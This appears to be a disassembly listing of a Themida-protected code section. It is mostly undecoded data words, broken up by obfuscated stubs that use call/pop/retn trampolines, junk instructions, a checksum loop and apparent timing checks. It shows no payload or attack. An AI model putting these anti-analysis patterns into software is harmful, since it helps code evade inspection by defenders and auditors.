		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 0ED92C353h, 0D25209A7h, 0B5295F7Bh, 61503CDh, 0B8h
		dd 0B9BD8B00h, 8D06150Dh, 154F9E8Dh, 3860F06h, 80000000h
		dd 0E1FF31CFh, 9C9BD8Bh, 0BD830615h, 6151115h, 5F840F00h
		dd 56000004h, 5FDEBF0Fh, 1115BD83h, 0F010615h, 46884h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 8E8BFFEh, 38000000h, 0A22B3882h,	0F08F7EDh
		dd 1883h, 12E800h, 0F5E50000h, 3C07BC33h, 80B9E1A8h, 5A65C314h
		dd 6AABFB2h, 9D335F5Fh,	61501DDh, 1115BD83h, 0F030615h
		dd 3D686h, 91BD8B00h, 6006151Eh, 0E857006Ah, 3,	5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 0DEC35747h,	0ACFA62DEh, 22F2B766h
		dd 8C66D98Ah, 0E18D89D9h, 80061526h, 6A04E1h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 11E8C2C3h
		dd 56000000h, 0FCE46AFDh, 8F5BDE29h, 494BB20Eh,	2C32F777h
		dd 68A0Fh, 95290000h, 61511D5h,	0FC90A5Fh, 10084h, 0FA8B6600h
		dd 249D858Bh, 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 0E24713C3h, 19B58533h, 6A0615h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 0E276E7C3h, 0DCA3E9F1h, 0BFA3DCEAh, 6268DC06h, 89D98A50h
		dd 8B662404h, 66006AF9h, 6851E3BFh, 9F7B96C6h, 5800Fh
		dd 47BF0000h, 817B31A3h, 6D392404h, 6A60A3h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 9BFB40C3h
		dd 0FB683753h, 8AF74023h, 0AD95FFFEh, 6A06150Dh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 0A995C355h, 13A4436h, 1526B585h, 99858906h, 0F0618BFh
		dd 1985h, 14E900h, 0D82D0000h, 730CBB7Ah, 0F1392302h, 0F70BF796h
		dd 3A598EE6h, 0A8E96AABh, 9000001h, 15098995h, 91858B06h
		dd 6A0618BFh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 293CC351h, 15168185h, 1800C706h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 5588C351h, 29B9C5Bh, 45C334BBh
		dd 7E9h, 9FB70900h, 14D235D4h, 95B58BF8h, 8B0618BFh, 1507559Dh
		dd 45858B06h, 6606150Ch, 8B75F5BBh, 152681BDh, 6A068906h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 7FBBC355h, 33C9BD0Bh, 0B5290615h,	6150C01h
		dd 249D858Bh, 0BD8B0615h, 6152219h, 6A044689h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 0B50FC352h, 7723C0EDh, 2F819D89h, 0E8500615h, 12h, 0A55A167h
		dd 0F04DD021h, 0C69F1974h, 6BF89FEBh, 0F60DB0Bh, 82h, 10E800h
		dd 0DB7D0000h, 27E95DD5h, 2FCA9DD4h, 0E1800C9Ah, 61597D21h
		dd 2434895Fh, 0C686BB66h, 0BE7EF781h, 0B5FF7063h, 618BF91h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 7DC35242h
		dd 0BE0BE099h, 0BF72F59Ah, 48633D0Dh, 38BF6660h, 0EF8166B8h
		dd 6861C225h, 0D3237BE2h, 5850Fh, 0C3BB0000h, 813F636Bh
		dd 881D2404h, 80602CFBh, 0BD89C9EDh, 6152AD5h, 99858D61h
		dd 310618BFh, 151411BDh, 840F5006h, 4, 6723BF66h, 8B240489h
		dd 1506E1BDh, 0AD95FF06h, 6106150Dh, 0BE956h, 0B0150000h
		dd 682C6585h, 0C3A44896h, 8B665BF5h, 1585C7DFh,	3061511h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 1CFCC353h, 5D53293Bh, 0AE85C47h
		dd 0C0000000h, 5E060EDBh, 6A35DCC4h, 20BB66ECh,	0BD835F5Ch
		dd 618BF99h, 50840F00h,	0E8000000h, 14h, 0C130933Fh, 0BA8B0DBCh
		dd 0E5E0B3C3h, 27A1C94Ah, 9795741Ch, 0BE9h, 5E219000h
		dd 0F34F050Dh, 438CE125h, 3CE95Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 816676C3h
		dd 506222E3h, 110C30h, 0C1011144h, 443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 50F28DC3h, 0BE409405h, 6AF9BF0Fh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 0BA9CC355h, 870FF54Eh, 2,	0BD83F98Bh, 6151115h
		dd 0F5850F03h, 8B000003h, 150E119Dh, 8E906h, 81770000h
		dd 0C2B85191h, 0BD83099Fh, 618BF99h, 0D5840F00h, 0BF000003h
		dd 39B2CD9Dh, 0BF99B5FFh, 5E90618h, 0A4000000h,	76CC2D5Bh
		dd 10E195FFh, 0C7810615h, 46914E80h, 5E9h, 0BD81EB00h
		dd 0B58B7D02h, 618BF8Dh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 18h, 0D5C35343h, 2432FF62h, 106C7h, 0B5890001h
		dd 6150CF5h, 0FB8B6696h, 6A9650h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 3AFD26C3h, 0C3B96297h
		dd 319D0138h, 8B061525h, 1514FDBDh, 99B5FF06h, 6A0618BFh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 0BF2FC355h, 32A40981h, 674E856Bh,	6A195FFh
		dd 9D890615h, 6150811h,	24599D29h, 0B58B0615h, 618BF8Dh
		dd 858BDE8Bh, 6150059h,	8689D98Ah, 0C4h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Bh, 85C35141h, 3821E246h
		dd 0E94EC4C0h, 9, 98405E2Ah, 92A0E23Fh,	21958B0Ah, 83061527h
		dd 0F6004C2h, 18Bh, 0DE8F900h, 0EE000000h, 694F5B9Eh, 4BCC70D7h
		dd 6C376753h, 0DCC18166h, 89615FABh, 85892050h,	6152FF5h
		dd 0D458858Dh, 0B5890618h, 61512ADh, 0B88689h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 29AB0FC3h, 5157EE23h, 0B850FC6h, 0F000000h, 58Ch, 709EBB00h
		dd 6A50F9h, 0BF99B5FFh,	6A0618h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 17A914C3h, 8E9h
		dd 22118200h, 0A73ECFFCh, 718D2940h, 0FF06150Dh, 151D4D95h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 333A91A8h, 68D0FFBh, 89000000h, 1508B995h
		dd 0D7816606h, 0B796EF30h, 0BF665077h, 33966BFBh, 152499BDh
		dd 99B5FF06h, 6A0618BFh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 0B5CC355h, 0F9BF0F5Ah
		dd 48E38166h, 2995FFBBh, 6A061507h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 22ADC353h
		dd 61FCFC60h, 65BD83h, 0F000615h, 4484h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
		dd 0D88A5008h, 6A243489h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 0F5C7C352h,	1F5333BBh
		dd 99B5FF3Bh, 6A0618BFh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 33CC351h, 1514B5BDh
		dd 958B6006h, 6152F81h,	2C71BD8Bh, 0FF610615h, 15043995h
		dd 28E0F06h, 8B000000h,	99B5FFF9h, 6A0618BFh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 81CAC356h, 0B70F376Eh, 0CD95FFD8h, 6A06150Dh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 0E9CAC350h, 2C7DB589h, 0BD830615h, 615285Dh,	52840F02h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 523C350h, 48FF7885h, 8BC18147h
		dd 15284985h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 89957138h, 1511F99Dh, 0C606h, 0F585C7F9h
		dd 61523h, 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 21E3C350h, 0E2B44B2Fh,	48518137h
		dd 0FFF344E9h, 6AC18BFFh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 0F7DBC350h,	0C3AB99B6h
		dd 2150EEB2h, 18F58589h
; ---------------------------------------------------------------------------


loc_5C0BD0:				; DATA XREF: Themida_:0057C30Co
					; Themida_:0057C910o
		adc	eax, 858DF906h
		popf
		daa
		adc	eax, 52006A06h
		call	sub_5C0BE4
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C0BE4	proc near		; CODE XREF: Themida_:005C0BDCp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_5C0BE4	endp

; ---------------------------------------------------------------------------
		dd 2850F51h, 8A000000h,	525050FCh, 6E8h, 8E492000h, 5BF4917Ah
		dd 0FC8A310Fh, 489585Ah, 0BD335324h, 61510EDh, 6A006A5Bh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 0B7A1C356h, 20E5D647h, 14F99D8Bh,	0EB800615h
		dd 0B7006A60h, 0B858D51h, 6A061974h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0F0AC353h
		dd 0B840Fh, 6E90000h, 45000000h, 2054ED3h, 0DFBF0FF5h
		dd 20CD9D89h, 0C0830615h, 51006A05h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 7F551C4h, 15840Fh
		dd 10E90000h, 58000000h, 2698E179h, 4C1BEC0Ch, 4EBF76FAh
		dd 50A74F79h, 6820Fh, 860F0000h, 0
; ---------------------------------------------------------------------------
		mov	[esp], eax
		mov	di, 0F95Bh
		mov	ebx, edi
		push	0
		push	0
		push	eax
		call	sub_5C0CEA
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C0CEA	proc near		; CODE XREF: Themida_:005C0CE2p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_5C0CEA	endp

; ---------------------------------------------------------------------------
		dw 6265h
; ---------------------------------------------------------------------------
		adc	bl, 5Dh
		mov	edi, eax
		sub	edi, 219D8F76h
		push	0
		mov	ebx, [ebp+61518A5h]
		call	dword ptr [ebp+6152679h]
		push	0
		push	ecx
		call	sub_5C0D20
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C0D20	proc near		; CODE XREF: Themida_:005C0D18p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_5C0D20	endp

; ---------------------------------------------------------------------------
		dd 3AB6E6AFh, 71EDCC92h, 10E8h,	0AA4C6B00h, 75403175h
		dd 3E7AAD5Fh, 3DEE69A4h, 48D0F47h, 66000000h, 5FA27EBFh
		dd 9C158D8Dh, 9D8B0618h, 61516B9h, 6AD1FFh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 247F1BC3h
		dd 0AA0F6E69h, 6830F36h, 3000000h, 1522599Dh, 0B5BD8306h
		dd 106152Dh, 98850Fh, 8D890000h, 6151A35h, 8166026Ah, 505BBAE7h
		dd 9E96060h, 32000000h,	7B91CBEBh, 3A5081D4h, 60615F50h
		dd 0AE8h, 458B0600h, 0D8D781C5h, 5FEE2AE4h, 8E0Fh, 61610000h
		dd 6A240489h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 0B3D8C356h, 0C4AED767h, 759D33ACh
		dd 81061534h, 8E3B43C7h, 4D95FF3Ch, 6A06151Dh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 7EE3C352h, 18E8754Bh, 8A1F7825h, 7CE9FCDAh, 0E800000Dh
		dd 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 6197415h
		jns	loc_5C0E5D
		jns	loc_5C0E5D
		mov	edi, [ebp+61518C5h]


loc_5C0E5D:				; CODE XREF: Themida_:005C0E4Bj
					; Themida_:005C0E51j
		jmp	loc_5C0E68
; ---------------------------------------------------------------------------
		dw 9637h
		dd 3DAB63EDh
; ---------------------------------------------------------------------------


loc_5C0E68:				; CODE XREF: Themida_:loc_5C0E5Dj
		stc
		lea	eax, [ebp+61888F9h]
		push	0
		push	edx
		call	sub_5C0E7A
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C0E7A	proc near		; CODE XREF: Themida_:005C0E72p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_5C0E7A	endp

; ---------------------------------------------------------------------------
		aam	73h
		retf	1225h
; ---------------------------------------------------------------------------
		db 6Eh
; ---------------------------------------------------------------------------
		mov	edi, [ebp+61512B5h]
		nop
		call	sub_5C0EA8
		push	440D978Bh
		or	eax, [edx]
		retf
; ---------------------------------------------------------------------------
		dd 7FBFCCEh

; =============== S U B	R O U T	I N E =======================================



sub_5C0EA8	proc near		; CODE XREF: Themida_:005C0E97p
		mov	bh, 0C8h
		pop	ebx
		push	eax
		mov	edi, 7ED7F430h
		nop
		push	0
		push	edx
		call	sub_5C0EBD
		and	[edx-3Dh], bl
sub_5C0EA8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5C0EBD	proc near		; CODE XREF: sub_5C0EA8+Dp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_5C0EBD	endp

; ---------------------------------------------------------------------------
		db 41h,	54h, 0B5h
		dd 12631EA4h, 35FF644Ch, 0
; ---------------------------------------------------------------------------
		mov	di, cx
		sub	[ebp+61509C9h],	ecx
		mov	large fs:0, esp
		mov	edi, 420EE822h
		inc	dword ptr [ebp+6151535h]
		push	0
		push	esi
		call	sub_5C0F02
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C0F02	proc near		; CODE XREF: Themida_:005C0EFAp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_5C0F02	endp

; ---------------------------------------------------------------------------
		dw 0DEAh
		dd 0BF0BBF59h, 4CEF26CDh, 1041BD01h, 0FA8B0615h, 13E8FF6Ah
		dd 5000000h, 0A59F0E12h, 7213CF07h, 0FD9647F7h,	0A6190D2Ah
		dd 0B5894FE1h, 6152AEDh, 95B5FF5Fh, 6A061505h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 6D52C355h, 0DF537B6h, 0FF5B4CAAh, 1508BD95h,	14AE906h
		dd 0B0F80000h, 0C820F00h, 0F000000h, 688h, 4DBD8B00h, 0E6061516h
		dd 0C880F70h, 0F000000h, 687h, 3DBD8B00h, 0E406151Ah, 6870F71h
		dd 29000000h, 150C4995h, 0F613C06h, 10B83h, 0FE8B6600h
		dd 0E9C8B60Fh, 0Fh, 11A0377Bh, 217341B0h, 0D63D77DFh, 897182F3h
		dd 151D59B5h, 6BA06h, 89500000h, 1507F98Dh, 8D895B06h
		dd 6151A25h, 860FC18Bh,	0Bh, 5840Fh, 6ABB0000h,	5606E1DEh
		dd 2E89BD8Bh, 0C15F0615h, 0BD8B04E8h, 6150C09h,	0BFE2F766h
		dd 1E2268CCh, 0EE9h, 652100h, 77106531h, 0E7F71204h, 2B3254D8h
		dd 0DB8166C8h, 0D18BA1F5h, 0BF7EC2BFh, 5E927h, 0A4BB0000h
		dd 8B380D2Ch, 1519D185h, 0C083F506h, 0F88B6607h, 3300C083h
		dd 1504A1BDh, 0FD03B06h, 2A83h,	7DB06000h, 2666DBBEh, 55E96157h
		dd 0E9000000h, 14h, 3105877Dh, 0FC81C8F0h, 8FA8654h, 0ED431B41h
		dd 0F05AF32Eh, 8BFE8B66h, 15108D8Dh, 0ADBD8906h, 8306150Bh
		dd 840F01E1h, 24h, 27DBD89h, 0A5830615h, 615108Dh, 0A9BD8BFEh
		dd 89061528h, 1519D195h, 0FD958906h, 0E9061510h, 0
; ---------------------------------------------------------------------------
		lea	esi, [ebp+6190094h]
		mov	edi, 4756EDE5h
		or	[ebp+6152585h],	ebx
		push	0
		push	0
		push	ecx
		call	sub_5C10E2
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C10E2	proc near		; CODE XREF: Themida_:005C10DAp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_5C10E2	endp

; ---------------------------------------------------------------------------
		mov	dh, 58h
		retf	0F89Ch
; ---------------------------------------------------------------------------
		jle	short loc_5C116B
		mov	[ebp+6152E05h],	edi
		call	dword ptr [ebp+6152E21h]
		push	0
		push	edi
		call	sub_5C1110
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C1110	proc near		; CODE XREF: Themida_:005C1108p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_5C1110	endp

; ---------------------------------------------------------------------------
		dd 0F8FE606Fh, 71B9DF8Bh, 6A000009h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 8B97C357h
		dd 78223524h, 7E92CA2h,	6E000000h, 4F0492A2h, 0E183C978h
		dd 3800FFCh, 66000000h,	81FCD98Bh
		db 0D7h, 0F0h, 3Fh
; ---------------------------------------------------------------------------


loc_5C116B:				; CODE XREF: Themida_:005C10F7j
		fld	qword ptr [edi]
		mov	eax, 0
		push	0
		push	esi
		call	sub_5C117D
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C117D	proc near		; CODE XREF: Themida_:005C1175p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_5C117D	endp

; ---------------------------------------------------------------------------
		mov	dl, bl
		mov	dh, 46h
		pop	ebp
		movsx	ebx, dx
		mov	edx, 0
		mov	bh, 16h


loc_5C119C:				; CODE XREF: Themida_:005C11A6j
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5C119C
		push	0
		push	eax
		call	sub_5C11B3
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C11B3	proc near		; CODE XREF: Themida_:005C11ABp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_5C11B3	endp

; ---------------------------------------------------------------------------
		db 6
		dd 6AEAFA58h, 189D9D8Bh, 6AF90615h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 52C3C357h
		dd 0D5F04B7h, 88h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 0DCC35343h, 0A9831F93h, 0D9397B64h, 2721958Bh
		dd 0BB660615h, 8D8B439Dh, 61504CDh, 0DE9h, 0DA959900h
		dd 0B093BF31h, 50CAB4F3h, 8B50704Dh, 3188BC2h, 8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 1CC35141h, 13F0DC8h, 56128A7Fh, 7ED8509h
		dd 0E95F0615h, 0Ah, 0F3C09DBAh,	9C8E53C4h, 8B66E35Ch, 0A9BD83D8h
		dd 61518h, 57840Fh, 6A0000h, 3E850h, 58200000h,	448958C3h
		dd 44810424h, 140424h, 50400000h, 0D98BF3C3h, 0B8h, 9E8D8D00h
		dd 8B06154Fh, 152D81BDh, 6AE1FF06h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 3F32C352h
		dd 8B512C1Ch, 152A759Dh, 15BD8306h, 61511h, 49F840Fh, 81660000h
		dd 833922CBh, 151115BDh, 840F0106h, 4A8h, 0BD83F98Bh, 6151115h
		dd 63860F03h, 6A000004h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 43FFC357h, 487C0E71h
		dd 8589C75Ah, 6151315h,	2D8529h, 1600615h, 15346195h, 0D98C6606h
		dd 23359D89h, 80FC0615h, 6A04E1h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 269493C3h, 0B7B32800h
		dd 959D8999h, 66061528h, 0A7975BBh, 6A840FC9h, 6A000001h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 0DDAEC351h, 604BC085h, 6880Fh, 0BD890000h
		dd 61506C9h, 8B615E53h,	15249D85h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 8E4FEA81h
		dd 0B58533A0h, 6A061519h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 41D2C355h, 54E442BDh
		dd 0F5F4C6Eh, 13E9FEB7h, 9F000000h, 0CF081855h,	5C6FEDEAh
		dd 18647844h, 81C409E1h, 8950FBA0h, 85892404h, 61501C1h
		dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 0FEC971C3h, 0CF3280A7h, 4E8F014h,	0FF000000h
		dd 8B001F03h, 505350DEh, 0F5B5652h, 0F525031h, 5A585A31h
		dd 448B5F58h, 8B560424h, 8B5FFEh, 448965B3h, 8B660424h
		dd 0FFF858DAh, 150DAD95h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0BD89FE61h
		dd 6150D61h, 0BF998589h, 9D890618h, 6152AF5h, 25FE9h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 6405607Ch, 29C105D7h, 151C91BDh, 5DBD8B06h, 81061510h
		dd 8F8DDAE3h, 91858B74h, 570618BFh, 2C8DBD33h, 0C75F0615h
		dd 1800h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 0F781E5F1h, 89256F0Ch, 1502958Dh
		dd 95B58B06h, 90618BFh,	1525D59Dh, 0D5BD3306h, 8B06151Dh
		dd 150C4585h, 0CB816606h, 68902C0h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 15h, 7EC35040h, 0E9B529D3h, 8B06150Ah
		dd 15249D85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 0EE3729F7h, 0D2C16E83h, 1DBD3188h
		dd 89061505h, 6A0446h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 39F83C3h, 15189D9Dh, 0BE806h, 75B30000h
		dd 8D595BC0h, 1312A8F7h, 0C5BD89A7h, 5B06150Ch,	50B4B796h
		dd 10E8h, 9C20AE00h, 8A86646Eh,	15CAC3C3h, 7324397Ch, 55EDBF1Ah
		dd 965F6CD2h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Bh,	0B0C35141h, 0DC9EC951h,	0FF012497h, 18BF91B5h
		dd 119D2B06h, 0E8061501h, 4, 1F03FFh, 50FE8B66h, 8B665250h
		dd 50310FFEh, 8E0F52h, 0F000000h, 5A2EB731h, 8B585A58h
		dd 0E8042444h, 11h, 0BB7F7805h,	5A9CCC93h, 962ADCE3h, 1611AE1Ah
		dd 0E9525081h, 5, 6AACBEC5h, 50310FFDh,	5A310F52h, 5B585A58h
		dd 4489008Bh, 52500424h, 9416BB66h, 0BF66310Fh,	585ADAB6h
		dd 50006A58h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 3E9D2075h, 8589D8E5h, 6151511h, 31B52953h
		dd 5F061507h, 0BF99858Dh, 6A0618h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 0F12C3CC3h, 1E254EB3h
		dd 14E850B2h, 2000000h,	0D9098C67h, 9D659CEDh, 77ACC51h
		dd 0AA0AF49Ah, 8BFAD7A3h, 4895BD9h, 0F98B6624h,	0DAD95FFh
		dd 0B5890615h, 61506FDh, 0F3816661h, 85C771AAh,	6151115h
		dd 3, 83D88B66h, 18BF99BDh, 840F0006h, 36h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0D4C35545h, 7BC62F66h
		dd 0D1B9C023h, 0B1F2CF81h, 0BB663699h, 1EE9CFC9h, 66000000h
		dd 3050F98Bh, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
		dd 8B00EBE7h, 0BD8953C0h, 6152351h, 0FB8B665Bh,	1115BD83h
		dd 0F030615h, 39785h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 2038018Eh, 661D0806h
		dd 831284BFh, 18BF99BDh, 840F0006h, 364h, 17E19D8Bh, 0B5FF0615h
		dd 618BF99h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	82C35646h, 30731A4Dh, 8A45B1E1h, 0E195FFDEh, 8B061510h
		dd 151E71BDh, 8DB58B06h, 8B0618BFh, 15232DBDh, 2890F06h
		dd 8B000000h, 106C7D8h,	1000100h, 152B3D95h, 7EBB9606h
		dd 503E8040h, 1FB75250h, 585A310Fh, 57006A96h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 62DDCD54h
		dd 9D8BE677h, 6150551h,	0BF99B5FFh, 6A0618h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 0AFDB6C3h
		dd 12E859h, 0D99D0000h,	0AEF76359h, 0FFD2EE24h,	780BAA22h
		dd 9ABF6215h, 10A59D33h, 895B0615h, 1518C585h, 0A195FF06h
		dd 6A061506h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 0B4D2C353h, 812D4E2Bh,	0C3816652h
		dd 8B5B31F5h, 152D1DBDh, 8DB58B06h, 6A0618BFh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 0C28FC352h, 281C1BDCh, 858B440Fh, 6150059h, 0C48689h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 660792C3h, 9D8BFE8Bh, 6152705h, 2721958Bh
		dd 0BD2B0615h, 615140Dh, 6604C283h, 5089DA8Bh, 0DA8B5320h
		dd 58858D5Bh, 6A0618D4h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 0D206C356h
		dd 5805087h, 5E944h, 0FC6D0000h, 89282E00h, 0B886h, 0DE800h
		dd 3C4F0000h, 0D0196F50h, 4452B355h, 660FE6A6h,	5BCF6DBFh
		dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 7D7AE2C3h, 882BAE14h, 99B5FF5Bh, 6A0618BFh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 0BB61C351h, 4B8A1EADh, 0BB8AD301h, 4663F6AEh
		dd 1D4D95FFh, 95290615h, 6152185h, 0D98B6650h, 80243489h
		dd 0B5FF7AD7h, 618BF99h, 0BBA2DF81h, 95FF5726h,	6150729h
